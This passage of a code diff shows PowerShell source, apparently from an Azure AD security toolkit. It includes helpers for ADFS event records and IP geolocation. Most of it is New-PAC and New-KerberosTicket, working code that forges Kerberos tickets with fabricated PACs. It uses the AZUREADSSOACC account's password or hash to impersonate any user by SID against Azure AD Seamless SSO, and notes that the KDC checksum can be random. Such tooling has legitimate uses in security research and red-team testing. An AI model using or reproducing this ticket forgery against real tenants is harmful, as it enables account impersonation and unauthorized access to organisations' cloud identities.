}
$NetworkLocationTypes = [ordered]@{
"NotSet" = 0
"Intranet" = 1
"Extranet" = 2
}
$ADFSFailureTypes = [ordered]@{
"NotAFailure" = 0
"UPError" = 1
"LockoutError" = 2
"ExpiredPassword" = 3
"DisabledAccount" = 4
"DeviceAuthError" = 5
"UserCertAuthError" = 10
"IssuanceAuthZError" = 20
"MFAError" = 21
"ExtranetLockoutError" = 30
"LogoutError" = 40
"CredentialValidationError" = 50
"OtherCredentialError" = 70
"IssuanceDelegationError" = 80
"TokenAcceptanceError" = 90
"ProtocolError" = 100
"WsFedRequestFailure" = 110
"InvalidRelyingPartyError" = 111
"InvalidClientApplicationError" = 112
"GenericError" = 500
"OtherError" = 1000
}
}
Process
{
# Combine authentication types
if($PrimaryAuthentication.Count -eq 1)
{
$combinedAuthType = $ADFSAuthTypes[$PrimaryAuthentication]
}
else
{
$combinedAuthType = 0
foreach($type in $PrimaryAuthentication)
{
$combinedAuthType = $combinedAuthType -bor $ADFSAuthTypes[$type]
}
}
$event = [ordered]@{
"UniqueID" = $UniqueID.ToString()
"Server" = $Server
"EventType" = $ADFSEventTypes[$EventType]
"PrimaryAuthentication" = $combinedAuthType
"RequiredAuthType" = $ADFSRequiredAuthType[$RequiredAuthType]
"RelyingParty" = $RelyingParty
"RelyingPartyName" = $RelyingPartyName
"Result" = $Result
"DeviceAuthentication" = $DeviceAuthentication
"URL" = $URL
"User" = $User
"UserId" = $UserId
"UserIdType" = $UserIdTypes[$UserIdType]
"UPN" = $UPN
"Timestamp" = $Timestamp.ToUniversalTime().ToString("o", [cultureinfo]::InvariantCulture)
"Protocol" = $ADFSProtocolTypes[$Protocol]
"NetworkLocation" = $NetworkLocationTypes[$NetworkLocationType]
"AppTokenFailureType" = $ADFSFailureTypes[$AppTokenFailureType]
"IPAddress" = $IPAddress
"ClaimsProvider" = $ClaimsProvider
"OAuthClientID" = $OAuthClientID
"OAuthTokenRetrievalMethod" = $OAuthTokenRetrievalMethod
"MFA" = $MFA
"MFAProviderErrorCode" = $MFAProviderErrorCode
"ProxyServer" = $ProxyServer
"Endpoint" = $Endpoint
"UserAgent" = $UserAgent
"DeviceID" = $DeviceID
"ErrorHitCount" = $ErrorHitCount
"X509CertificateType" = $X509CertificateType
"MFAAuthenticationType" = $MFAAuthenticationType
"ActivityId" = $ActivityId.ToString()
"ActivityIdAutoGenerated" = $ActivityIdAutoGenerated
"PrimarySid" = $PrimarySid
"ImmutableId" = $ImmutableId
}
return $event
}
}
+66
View File
@@ -0,0 +1,66 @@
# Some ip related utility functions
# Gets the ip location info from ipgeolocationapi.com
function Get-IPLocationInfo
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="IPText", Mandatory=$true)]
[String]$IpAddress,
[Parameter(ParameterSetName="Host", Mandatory=$true)]
[String]$HostName,
[Parameter(ParameterSetName="IPBytes", Mandatory=$true)]
[byte[]]$IpBytes,
[switch]$Short
)
Process
{
if($IpBytes -ne $null)
{
if($IpBytes.Length -ne 4)
{
Throw "IpBytes must be exactly 4 bytes long!"
}
$IpAddress = "$($IpBytes[0]).$($IpBytes[1]).$($IpBytes[2]).$($IpBytes[3])"
}
elseif(![string]::IsNullOrEmpty($HostName))
{
$IpAddresses = Resolve-DnsName -Name $HostName -ErrorAction SilentlyContinue
$entry = $null
if($IpAddresses.Count -gt 1)
{
$entry = $IpAddresses[$IpAddresses.count-1]
}
else
{
$entry = $IpAddresses
}
if([string]::IsNullOrEmpty($entry.IPAddress))
{
if(![string]::IsNullOrEmpty($entry.IP4Address))
{
$IpAddress = $entry.IP4Address
}
else
{
Throw "No ipv address found for $HostName"
}
}
else
{
$IpAddress = $entry.IPAddress
}
}
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://api.ipgeolocationapi.com/geolocate/$IpAddress" -Headers @{"Accept" = "application/json; charset=utf-8"}
if($Short)
{
return @($response.name, $response.subregion, $response.region)
}
else
{
return $response
}
}
}
BIN
View File
Binary file not shown.
+963
View File
@@ -0,0 +1,963 @@
# Generates PAC for the kerberos ticket
# Aug 8th 2019
Function New-PAC
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$UserName,
[Parameter(Mandatory=$False)]
[String]$UserDisplayName,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName,
[Parameter(Mandatory=$True)]
[String]$ServerName,
[Parameter(Mandatory=$True)]
[String]$DomainName,
[Parameter(Mandatory=$True)]
[String]$DomainDNSName,
[Parameter(Mandatory=$True)]
[Byte[]]$Sid,
[Parameter(Mandatory=$False)]
[String]$Password,
[Parameter(Mandatory=$False)]
[String]$Hash,
[Parameter(Mandatory=$True)]
[DateTime]$AuthTime,
[Parameter(Mandatory=$False)]
[Int]$SequenceNumber=([System.Random]::new()).Next(),
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/b10cfda1-f24f-441b-8f43-80cb93e786ec
[Parameter(Mandatory=$False)]
[Int]$UserAccountControl=0x00000080 # USER_WORKSTATION_TRUST_ACCOUNT #0x00000010 <# USER_NORMAL_ACCOUNT #> -bor 0X00000200 <# USER_DONT_EXPIRE_PASSWORD #>
)
Process
{
# Set the timestamps
$DeviceId = $authTime # MUST be same than authTime
$LogonTime = $DeviceId.AddMinutes(-10) # We've logged in 10 minutes ago :)
$PwdLastChangeTime = (Get-Date).AddDays(-10) # We've changed our password 10 days ago,
$PwdCanChangeTime = $PwdLastChangeTime.AddDays(1) # so we could've changed it 9 days ago
# Convert names to Unicode byte strings
$bDomainName = [system.text.encoding]::unicode.GetBytes( $DomainName)
$bUserName = [system.text.encoding]::unicode.GetBytes( $UserName)
$bUserDisplayName = [system.text.encoding]::unicode.GetBytes( $UserDisplayName)
$bServerName = [system.text.encoding]::unicode.GetBytes( $ServerName)
$bDomainDNSName = [system.text.encoding]::unicode.GetBytes( $DomainDNSName)
$bUserPrincipalName = [system.text.encoding]::unicode.GetBytes($UserPrincipalName)
# Extract the user and domain sids
$bUserSid = $Sid[24..27]
$bDomainSid = $Sid[0..23]
$bDomainSid[1]=4 # Need to change from 5 to 4
# Construct the PACs
$LOGON_INFORMATION=[byte[]]@(
@(0x01) # Version = 0x01
@(0x10) # Endianness (=little endian)
@(0x08, 0x00) # Length = 0x08
@(0xCC, 0xCC, 0xCC, 0xCC) # Filler
@(0x00, 0x00, 0x00, 0x00) # Length of the info buffer (placeholder)
@(0x00, 0x00, 0x00, 0x00) # Zeros
@(0x00, 0x00, 0x02, 0x00) # User info pointer
[System.BitConverter]::GetBytes($LogonTime.ToFileTimeUtc()) # LogonTime
@(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F) # LogOffTime
@(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F) # KickOffTime
[System.BitConverter]::GetBytes($PwdLastChangeTime.ToFileTimeUtc()) # PwdLastChangeTime
[System.BitConverter]::GetBytes($PwdCanChangeTime.ToFileTimeUtc()) # PwdCanChangeTime
@(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F) # PwdMustChangeTime
# UserName
[System.BitConverter]::GetBytes([int16]($bUserName.Length)) # Length
[System.BitConverter]::GetBytes([int16]($bUserName.Length)) # Max length
@(0x04, 0x00, 0x02, 0x00) # Pointer
# UserDisplayName
[System.BitConverter]::GetBytes([int16]($bUserDisplayName.Length)) # Length
[System.BitConverter]::GetBytes([int16]($bUserDisplayName.Length)) # Max Length
@(0x08, 0x00, 0x02, 0x00) # Pointer
# LogonScript
@(0x00, 0x00) # Length
@(0x00, 0x00) # Max Length
@(0x0C, 0x00, 0x02, 0x00) # Pointer
# ProfilePath
@(0x00, 0x00) # Length
@(0x00, 0x00) # Max Length
@(0x10, 0x00, 0x02, 0x00) # Pointer
# HomeDirectory
@(0x00, 0x00) # Length
@(0x00, 0x00) # Max Length
@(0x14, 0x00, 0x02, 0x00) # Pointer
# HomeDrive
@(0x00, 0x00) # Length
@(0x00, 0x00) # Max Length
@(0x18, 0x00, 0x02, 0x00) # Pointer
@(0x05, 0x00) # LogonCount -- just add something..
@(0x00, 0x00) # BadPasswordCount
$bUserSid # UserSid
[System.BitConverter]::GetBytes([int32](513)) # GroupSid:
# https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups
# 0x0200 = 512 = Domain Admins
# 0x0201 = 513 = Domain Users
# 0x0202 = 514 = Domain Guests
# 0x0203 = 515 = Domain Computers
# 0x0204 = 516 = Domain Controllers
# 0x0207 = 519 = Enterprise Admins
# 0x020f = 527 = Key Admins
# 0x0220 = 544 = Local Admins
@(0x02, 0x00, 0x00, 0x00) # GroupCount
@(0x1C, 0x00, 0x02, 0x00) # GroupPointer
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/69e86ccc-85e3-41b9-b514-7d969cd0ed73
@(0x20, 0x00, 0x00, 0x00) # UserFlags
# 0x 20 = ExtraSid is populated and contains additional SIDs
# 0x200 = ResourceGroupIds field is populated.
# UserSessionKey - used only for NTLM
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
# ServerName
[System.BitConverter]::GetBytes([int16]($bServerName.Length)) # Length
[System.BitConverter]::GetBytes([int16]($bServerName.Length+2)) # MaxLength -- Why + 2 for the size??
@(0x20, 0x00, 0x02, 0x00) # Pointer
# DomainName
[System.BitConverter]::GetBytes([int16]($bDomainName.Length)) # Length
[System.BitConverter]::GetBytes([int16]($bDomainName.Length+2)) # MaxLength
@(0x24, 0x00, 0x02, 0x00) # Pointer
@(0x28, 0x00, 0x02, 0x00) # DomainIDPointer
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # Reserved = 8 x 0x00
[System.BitConverter]::GetBytes([int32]$UserAccountControl) # UserAccountControl
@(0x00, 0x00, 0x00, 0x00) # SubAuthStatus
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # LastSuccessfullLogon
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # LastFailedLogon
@(0x00, 0x00, 0x00, 0x00) # Failed Logon Count
@(0x00, 0x00, 0x00, 0x00) # Reserved
@(0x01, 0x00, 0x00, 0x00) # ExtraSidCount
@(0x2C, 0x00, 0x02, 0x00) # ExtraSidPointer
@(0x00, 0x00, 0x00, 0x00) # ResourceDomainIdPointer
@(0x00, 0x00, 0x00, 0x00) # ResourceGroupCount
@(0x00, 0x00, 0x00, 0x00) # ResourceGroupPointer
# STRINGS
# UserName
[System.BitConverter]::GetBytes([int32]($bUserName.Length)/2) # Total = maxlength / 2
@(0x00, 0x00, 0x00, 0x00) # Unused
[System.BitConverter]::GetBytes([int32]($bUserName.Length)/2) # used = maxlength / 2
$bUserName
if($bUserName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
# UserDisplayName
[System.BitConverter]::GetBytes([int32]($bUserDisplayName.Length/2)) # Total
@(0x00, 0x00, 0x00, 0x00) # Unused
[System.BitConverter]::GetBytes([int32]($bUserDisplayName.Length/2)) # Used
if($bUserDisplayName.Length -gt 0){$bUserDisplayName}
if($bUserDisplayName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # LogonScript
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # ProfilePath
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # HomeDirectory
@(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00) # HomeDrive
# GroupSids
@(0x02, 0x00, 0x00, 0x00) # Count
@(0x03, 0x02, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00)
@(0x0F, 0x02, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00)
# ServerName
[System.BitConverter]::GetBytes([int32]($bServerName.Length)/2+1) # Total
@(0x00, 0x00, 0x00, 0x00) # Unused
[System.BitConverter]::GetBytes([int32]($bServerName.Length)/2) # Length
$bServerName
if($bServerName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
# DomainName
[System.BitConverter]::GetBytes([int32]($bDomainName.Length)/2+1) # Total
@(0x00, 0x00, 0x00, 0x00)
[System.BitConverter]::GetBytes([int32]($bDomainName.Length)/2) # Length
$bDomainName
if($bDomainName.Length/2 % 2 -gt 0){@(0x00, 0x00)} # Must be even sized
# DomainSid
@(0x04, 0x00, 0x00, 0x00) # Count
$bDomainSid # SidBytes
# ExtraSid
@(0x01, 0x00, 0x00, 0x00) # Count
@(0x30, 0x00, 0x02, 0x00) # Pointer
@(0x07, 0x00, 0x00, 0x00) # Attributes
@(0x01, 0x00, 0x00, 0x00) # SidSize (count)
@(0x01, 0x01, 0x00, 0x00, # Sid
0x00, 0x00, 0x00, 0x12,
0x01, 0x00, 0x00, 0x00)
)
# Set the correct size: Total size - the header
$size = $LOGON_INFORMATION.Count - 16 #
[Array]::Copy([bitconverter]::GetBytes([Int32]$size),0, $LOGON_INFORMATION, 8, 4)
$CLIENT_NAME_TICKET_INFO=@(
[System.BitConverter]::GetBytes($DeviceId.ToFileTime()) # ClientId - MUST be equal to authTime
[System.BitConverter]::GetBytes([int16]($bUserName.Length)) # Name Length
$bUserName
)
$UPN_DOMAIN_INFO=@(
[System.BitConverter]::GetBytes([int16]($bUserPrincipalName.Length)) # UpnLength
[System.BitConverter]::GetBytes([int16]0x10) # UpnOffset
[System.BitConverter]::GetBytes([int16]($bDomainDNSName.Length)) # DnsDomainNameLength
[System.BitConverter]::GetBytes([int16]($bUserPrincipalName.Length+0x10)) # DnsDomainNameOffset
@(0x00, 0x00, 0x00, 0x00) # Flags
@(0x00, 0x00, 0x00, 0x00) # Some align thing?
$bUserPrincipalName # UPN
$bDomainDNSName # DNS Domain
)
$SERVER_CHECKSUM=@(
@(0x76, 0xFF, 0xFF, 0xFF) # Type = KERB_CHECKSUM_HMAC_MD5
@(0x00, 0x00, 0x00, 0x00, # Server checksum - MUST be 0x00 to calculate checksum
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00)
)
$PRIVILEGE_SERVER_CHECKSUM=@(
@(0x10, 0x00, 0x00, 0x00) # Type = HMAC_SHA1_96_AES256
@(0x00, 0x00, 0x00, 0x00, # KDC checksum - MUST be 0x00 to calculate (server) checksum
0x00, 0x00, 0x00, 0x00, # Otherwise this is not needed nor used
0x00, 0x00, 0x00, 0x00)
)
# Construct the header
$Offset = 88
$HEADER = @()
# Align the blocks
$logon_info_size = Align-Size -Size $LOGON_INFORMATION.Length -Mask 8
$client_info_size = Align-Size -Size $CLIENT_NAME_TICKET_INFO.Length -Mask 8
$upn_info_size = Align-Size -Size $UPN_DOMAIN_INFO.Length -Mask 8
$server_check_size = Align-Size -Size $SERVER_CHECKSUM.Length -Mask 8
$privilege_check_size = Align-Size -Size $PRIVILEGE_SERVER_CHECKSUM.Length -Mask 8
$HEADER += @(0x05, 0x00, 0x00, 0x00) # Pac count = 5
$HEADER += @(0x00, 0x00, 0x00, 0x00) # Version = 0
$HEADER += @(0x01, 0x00, 0x00, 0x00) # LOGON INFO
$HEADER += [System.BitConverter]::GetBytes([int32]$logon_info_size) # Size
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
$Offset+=$logon_info_size
$HEADER += @(0x0A, 0x00, 0x00, 0x00) # CLIENT_NAME_TICKET_INFO
$HEADER += [System.BitConverter]::GetBytes([int32]$client_info_size) # Size
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
$Offset+=$client_info_size
$HEADER += @(0x0C, 0x00, 0x00, 0x00) # UPN_DOMAIN_INFO
$HEADER += [System.BitConverter]::GetBytes([int32]$upn_info_size) # Size
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
$Offset+=$upn_info_size
$HEADER += @(0x06, 0x00, 0x00, 0x00) # SERVER_CHECKSUM
$HEADER += [System.BitConverter]::GetBytes([int32]$server_check_size-4) # Size
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
$Offset+=$server_check_size
$HEADER += @(0x07, 0x00, 0x00, 0x00) # PRIVILEGE_SERVER_CHECKSUM
$HEADER += [System.BitConverter]::GetBytes([int32]$privilege_check_size) # Size
$HEADER += [System.BitConverter]::GetBytes([int64]$Offset) # Offset
# Construct the PAC
$PAC=@()
$PAC += $HEADER
$PAC += $LOGON_INFORMATION
$PAC += Get-AlignBytes -Size $LOGON_INFORMATION.Length -Mask 8
$PAC += $CLIENT_NAME_TICKET_INFO
$PAC += Get-AlignBytes -Size $CLIENT_NAME_TICKET_INFO.Length -Mask 8
$PAC += $UPN_DOMAIN_INFO
$PAC += Get-AlignBytes -Size $UPN_DOMAIN_INFO.Length -Mask 8
$PAC += $SERVER_CHECKSUM # KERB_CHECKSUM_HMAC_MD5
$PAC += Get-AlignBytes -Size $SERVER_CHECKSUM.Length -Mask 8
$PAC += $PRIVILEGE_SERVER_CHECKSUM #HMAC_SHA1_96_AES256
$PAC += Get-AlignBytes -Size $PRIVILEGE_SERVER_CHECKSUM.Length -Mask 8
# Convert the password to MD4 hash
if([string]::IsNullOrEmpty($Hash))
{
$checksum_key = Get-MD4 -String $Password -AsByteArray
}
else
{
$checksum_key = Convert-HexToByteArray -HexString $Hash
}
# Checksums
$serverChecksum = Get-ServerSignature -Key $checksum_key -Data $PAC
$KDCChecksum = Get-RandomBytes -Bytes 12 # Not checked by the server, so random checksum will do
# Create the signature block - Only server block gets validated in the server
$signatureBlock = @(
@(0x76, 0xFF, 0xFF, 0xFF) # Type = KERB_CHECKSUM_HMAC_MD5
$serverChecksum
(Get-AlignBytes -Size $SERVER_CHECKSUM.Length -Mask 8)
@(0x10, 0x00, 0x00, 0x00) # Type = HMAC_SHA1_96_AES256
$KDCChecksum
(Get-AlignBytes -Size $PRIVILEGE_SERVER_CHECKSUM.Length -Mask 8)
)
# Add signature block to the end of the PAC
$PAC=$PAC[0..($PAC.Length - $signatureBlock.Length-1)] + $signatureBlock
# Return
return [byte[]]$PAC
}
}
# Aug 26th 2019
# Generates a kerberos token to be used with Azure AD Desktop SSO (aka Seamless SSO)
Function New-KerberosTicket
{
<#
.SYNOPSIS
Generates a kerberos token to be used with Azure AD Desktop SSO
.DESCRIPTION
Generates a kerberos token to be used with Azure AD Desktop SSO, also known as Seamless SSO.
Azure AD does only care about user's sid, so no other information needs to be given.
.Parameter Sid
User's sid as a byte array
.Parameter ADUserPrincipalName
User's principal name. Used to find user from Active Directory to get the SID
.Parameter AADUserPrincipalName
User's principal name. Used to find user from Azure Active Directory to get the SID
.Parameter AccessToken
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
.Parameter Password
Password of the AZUREADSSOACC computer account
.Parameter Hash
MD4 hash of the AZUREADSSOACC computer account
.Example
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -Sid $sid
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
.Example
PS C:\>Get-AADIntKerberosTicket -Hash @(0,4,234) -Sid $sid
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
.Example
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -SidString "S-1-5-21-854568531-3289094026-2628502219-1111"
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
.Example
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -ADUserPricipalName "user@company.com"
WARNING: SID not given, trying to find user from the Active Directory
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
PS C:\>Get-AADIntKerberosTicket -Password "MyPassword" -ADUserPricipalName "user@company.com"
WARNING: SID not given, trying to find user from the Azure Active Directory.
WARNING: This may take some time, so it would be better to save the AAD objects to
WARNING: a variable using Get-AADIntSyncObjects and parse SID manually.
YIIHIAYGKwYBBQUCoIIHFDCCBxC..(truncated)..qJ9OYopBjdCAzi8gY8dIFy8+g==
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Sid',Mandatory=$True)]
[Byte[]]$Sid,
[Parameter(ParameterSetName='SidString',Mandatory=$True)]
[String]$SidString,
[Parameter(ParameterSetName='ADupn',Mandatory=$True)]
[String]$ADUserPrincipalName,
[Parameter(ParameterSetName='AADupn',Mandatory=$True)]
[String]$AADUserPrincipalName,
[Parameter(ParameterSetName='AADupn',Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$Password,
[Parameter(Mandatory=$False)]
[String]$Hash,
[Parameter(Mandatory=$False)]
[byte[]]$SessionKey=(New-Guid).ToByteArray(),
[Parameter(Mandatory=$False)]
[String]$UserName= "UserName",
[Parameter(Mandatory=$False)]
[String]$UserDisplayName= "DisplayName",
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName= "UserName@company.com",
[Parameter(Mandatory=$False)]
[String]$ServerName= "DC1.company.com",
[Parameter(Mandatory=$False)]
[String]$DomainName= "COMPANY",
[Parameter(Mandatory=$False)]
[String]$Realm= "COMPANY.COM",
[Parameter(Mandatory=$False)]
[String]$ServiceTarget = "HTTP/autologon.microsoftazuread-sso.com",
[Parameter(Mandatory=$False)]
[ValidateSet('RC4','AES')]
[String]$Crypto="RC4",
[Parameter(Mandatory=$False)]
[String]$Salt,
[Parameter(Mandatory=$False)]
[Int]$SequenceNumber=([System.Random]::new()).Next()
)
Process
{
# Hash or password must be given!
if([string]::IsNullOrEmpty($Password) -and $Hash -eq $null)
{
Throw "Password or hash must be given!"
}
if(![string]::IsNullOrEmpty($Salt))
{
$AESSalt = [text.encoding]::UTF8.getBytes($Salt)
}
if($Crypto -eq "AES" -and $AESSalt -eq $null)
{
Throw "Salt needed for AES encrypted Kerberos ticket!"
}
# Got ADUserPrincipalName so we need to try to find SID from AD
if(![String]::IsNullOrEmpty($ADUserPrincipalName))
{
Write-Verbose "SID not given, trying to find user from the Active Directory"
try
{
$User=Get-Sids -UserPrincipalName $ADUserPrincipalName
if($user -eq $null)
{
return
}
$sidObject = [System.Security.Principal.SecurityIdentifier]$user.Sid
$Sid = New-Object Byte[] $sidObject.BinaryLength
$sidObject.GetBinaryForm($Sid,0)
Write-Verbose "$([byte[]]$Sid | Format-Hex)"
}
catch
{
Write-Error "Couldn't find the user: $($_.Exception)"
return
}
}
# Got AADUserPrincipalName so we need to try to find SID from Azure AD
elseif(![String]::IsNullOrEmpty($AADUserPrincipalName))
{
Write-Verbose "SID not given, trying to find user from the Azure Active Directory."
try
{
$User=Get-Sids -AccessToken $AccessToken -UserPrincipalName $AADUserPrincipalName
if($user -eq $null)
{
return
}
$sidObject = [System.Security.Principal.SecurityIdentifier]$user.Sid
$Sid = New-Object Byte[] $sidObject.BinaryLength
$sidObject.GetBinaryForm($Sid,0)
Write-Verbose "$([byte[]]$Sid | Format-Hex)"
}
catch
{
Write-Error "Couldn't find the user: $($_.Exception)"
return
}
}
# Got SidString so try to convert it
elseif(![String]::IsNullOrEmpty($SidString))
{
try
{
Write-Verbose "Got SidString: $SidString"
$sidObject = [System.Security.Principal.SecurityIdentifier]$SidString
$Sid = New-Object Byte[] $sidObject.BinaryLength
$sidObject.GetBinaryForm($Sid,0)
Write-Verbose (Convert-ByteArrayToHex -Bytes $Sid)
}
catch
{
Write-Error "Couldn't convert `"$SidString`" to SID: $($_.Exception)"
return
}
}
# KRB_AP_REQ
# Set the times
$authTime = Get-Date -Millisecond 0
$authTime.AddSeconds(-43) | Out-Null # Authentication time should be (a little) in the past
$startTime = $authTime #.AddSeconds(7)
$endTime = $authTime.AddHours(10)
$renewTime = $authTime.AddDays(7)
$cTime = Get-Date
$machineId = Get-RandomBytes -Bytes 32
$kerbLocal1 = Get-RandomBytes -Bytes 16
$kerbLocal2 = Get-RandomBytes -Bytes 16
# The ticket
$ticket=Add-DERTag -Tag 0x63 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERTag -Tag 0x03 -Data @(0x00, 0x40, 0xA1, 0x00, 0x00)) #Flags 100 0000 1010 0001 old
# Encryption key 100 0000 0010 0001 new
Add-DERTag -Tag 0xA1 -Data @(
Add-DERSequence -Data @(
if($Crypto -eq "RC4")
{
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x17)) # rc4-hmac
}
elseif($Crypto -eq "AES")
{
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x12)) # aes256-cts-hmac-sha1-96
}
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data $SessionKey # Session key
)
)
)
# Realm
Add-DERTag -Tag 0xA2 -Data @(Add-DERUtf8String($Realm))
Add-DERTag -Tag 0xA3 -Data @( # CName
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01)) # NT_PRINCIPAL
Add-DERTag -Tag 0xA1 -Data @(
Add-DERSequence -Data @(Add-DERUtf8String($UserName))
)
)
)
Add-DERTag -Tag 0xA4 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -data @(Add-DERInteger -Data @(0x01))
Add-DERTag -Tag 0xA1 -Data @(0x04,0x00) # Empty octect string: CAddr
)
)
Add-DERTag -Tag 0xA5 -Data @(Add-DERDate -Date $authTime) # Generalized time: AuthTime
Add-DERTag -Tag 0xA6 -Data @(Add-DERDate -Date $startTime) # Generalized time: StartTime
Add-DERTag -Tag 0xA7 -Data @(Add-DERDate -Date $endTime) # Generalized time: EndTime
Add-DERTag -Tag 0xA8 -Data @(Add-DERDate -Date $renewTime) # Generalized time: RenewTill
Add-DERTag -Tag 0xAA -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01)) # ADIfRelevant
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x80)) # PAC type = AdWin2kPac
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
# Generate PAC
[byte[]](New-Pac -UserName $UserName -UserDisplayName $UserDisplayName -UserPrincipalName $UserPrincipalName -ServerName $ServerName -DomainName $DomainName -DomainDNSName $Realm -Sid $Sid -Password $Password -Hash $Hash -AuthTime $authTime -SequenceNumber $SequenceNumber))
)
)
)
)
)
)
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01))
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8D)) # KERB_AUTH_DATA_TOKEN_RESTRICTIONS
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @( # Octet string
Add-DERSequence -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00)) # Restrictiontype, must be 0x00
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
# Flags
@(0x00, 0x00, 0x00, 0x00) # Full token
#@(0x01, 0x00, 0x00, 0x00) # UAC restricted token
# Integritylevel
# @(0x00, 0x00, 0x00, 0x00) # Untrusted
@(0x00, 0x10, 0x00, 0x00) # Low
# @(0x00, 0x20, 0x00, 0x00) # Medium
# @(0x00, 0x30, 0x00, 0x00) # High
# @(0x00, 0x40, 0x00, 0x00) # System
# @(0x00, 0x50, 0x00, 0x00) # Protected processes
# Machine Id
$machineId
)
)
)
)
)
)
)
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x8E))
# KerbLocal
Add-DERTag -Tag 0xA1 -Data @(Add-DERTag -Tag 0x04 -Data $kerbLocal1)
)
)
)
)
)
)
)
)
)
$encryptionKey = New-KerberosKey -Password $Password -Hash $Hash -Crypto $Crypto
$encryptedTicket = Encrypt-Kerberos -Data $ticket -Type Ticket -Salt $AESSalt -Crypto $Crypto -Key $encryptionKey
$authenticator=Add-DERTag -Tag 0x62 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x05))
Add-DERTag -Tag 0xA1 -Data @(Add-DERUtf8String -Text $Realm -Tag 0x1B)
Add-DERTag -Tag 0xA2 -Data @(
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x01))
Add-DERTag -Tag 0xa1 -Data @(
Add-DERSequence -Data @(
Add-DERUtf8String -Text $UserName -Tag 0x1B
)
)
)
)
Add-DERTag -Tag 0xA3 -Data @(
# Authenticator checksum
# https://tools.ietf.org/html/rfc4121#page-6
Add-DERSequence -Data @(
Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x00, 0x80, 0x03)) # Checksum type 32771 = KRBv5
# Checksum https://tools.ietf.org/html/rfc4121#section-4.1.1
Add-DERTag -Tag 0xA1 -Data @(
Add-DERTag -Tag 0x04 -Data @(
# Length = 0x10 = 16
